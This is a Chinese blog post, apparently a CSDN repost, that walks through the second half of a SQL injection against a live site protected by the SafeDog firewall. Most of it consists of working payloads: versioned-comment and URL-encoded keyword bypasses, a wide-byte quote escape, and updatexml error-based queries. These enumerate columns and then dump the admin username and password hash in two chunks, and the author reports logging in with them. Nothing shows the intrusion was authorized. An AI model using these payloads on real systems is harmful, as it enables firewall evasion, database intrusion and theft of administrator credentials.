过安全狗 记一次艰难的SQL注入( 二 )


 
我尝试了一下,成功实现了绕过(见上图)
 
后来我测试了一下,其他关键词也可以用这种方法绕过
 
select/*!50000%53elect*/order/*!50000%6frder*/union/*!50000%75nion*/ 
5.1 获取列名
得到了表名和列名,接下来就是要获取列名
 
先放Payload:
 
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/7,1),0x7e),1)# 
5.1.1 绕过第五式:骚操作绕过魔术函数
按照正常的注入流程,写出来的Payload应该是这样的:
 
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/and/**/table_name/**/like/**/'admin'),0x7e),1)# 
问题在于,魔术函数干掉了我的单引号
 
于是我就开始各种百度,google,查找怎么绕过魔术函数
 
Noway
 
就在陷入死胡同时,我灵机一动
 
我在最开始学SQL注入的时候,看到information_schema数据库获取信息时,专门去看了这个数据库的结构,在columns这个表里有个字段叫 column_name ,是攻击者需要获取的信息,有个字段叫 table_schema ,对应的是该字段所在的数据库名,有个字段叫 table_name ,对应的是该字段所在的表名
 
因此,当同时获取了数据库名和表名时,可以获取到对应表的所有列名 。
 
但是在表数量少且无法利用表名时,可以只指定数据库名,然后利用 limit 语句获取当前数据库所有的字段,再通过经验判断表名
 
例如,我想知道 数据库 test中admin表的内容
 
select column_name from information_schema.columns where table_schema like 'test'; 

过安全狗 记一次艰难的SQL注入

文章插图
 
这时通过直觉可以判断出,admin表中的字段是 id username password
 
同理,在该站点中,可以通过这种方法,获取字段
 
当Payload指定为:
 
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/1,1),0x7e),1)# 
得到的字段数为:typeid
过安全狗 记一次艰难的SQL注入

文章插图
 
通过修改limit后的值,就可以得到所有的字段,包括admin表中的字段
 
经过测试,当值为 7,1 时可以得到字段 username ;当值为 8,1 时可以得到字段 password
过安全狗 记一次艰难的SQL注入

文章插图
 

过安全狗 记一次艰难的SQL注入

文章插图
 
6.1 爆帐密
得到了以上信息后,爆帐密就很简单了
 
爆账号:username=%BF'+and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/username/**/from/**/sl_admin),0x7e),1)#爆密码:username=%BF'+and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/substr(password,1,31)/**/from/**/sl_admin),0x7e),1)#username=%BF'+and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/substr(password,32,31)/**/from/**/sl_admin),0x7e),1)# 
因为密码长度为32,而这里最多只能显示31为,因此用substr函数分两次爆出
 
解密得到账号密码
 
登录成功
过安全狗 记一次艰难的SQL注入

文章插图
 
总结
实战注入的难度比靶场大得多,各种绕过,各种骚操作 。
 
要学会利用搜索工具,更要学会选择性放弃
 
当一条路走不通就换另一种方法,也许就会柳暗花明又一村
————————————————
版权声明:本文为CSDN博主「漫路在线」
原文链接:
https://blog.csdn.net/realmels/article/details/122766147




推荐阅读